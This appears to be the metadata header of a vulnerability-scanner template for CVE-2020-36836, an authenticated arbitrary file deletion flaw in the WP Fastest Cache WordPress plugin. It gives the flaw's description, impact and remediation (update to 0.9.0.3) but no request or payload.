WordPress WP Fastest Cache <= 0.9.0.2 - Authenticated Arbitrary File Deletion

id: CVE-2020-36836

info:
  name: WordPress WP Fastest Cache <= 0.9.0.2 - Authenticated Arbitrary File Deletion
  author: melmathari
  severity: high
  description: |
    The WP Fastest Cache plugin for WordPress is vulnerable to unauthorized arbitrary file deletion in versions up to, and including, 0.9.0.2 due to a lack of capability checking and insufficient path validation. This makes it possible for authenticated users with minimal permissions to delete arbitrary files from the server.
  impact: |
    Authenticated attackers with minimal permissions can delete arbitrary files from the server, potentially breaking the WordPress installation or exposing sensitive data.
  remediation: |
    Update WP Fastest Cache to version 0.9.0.3 or later to mitigate this vulnerability.
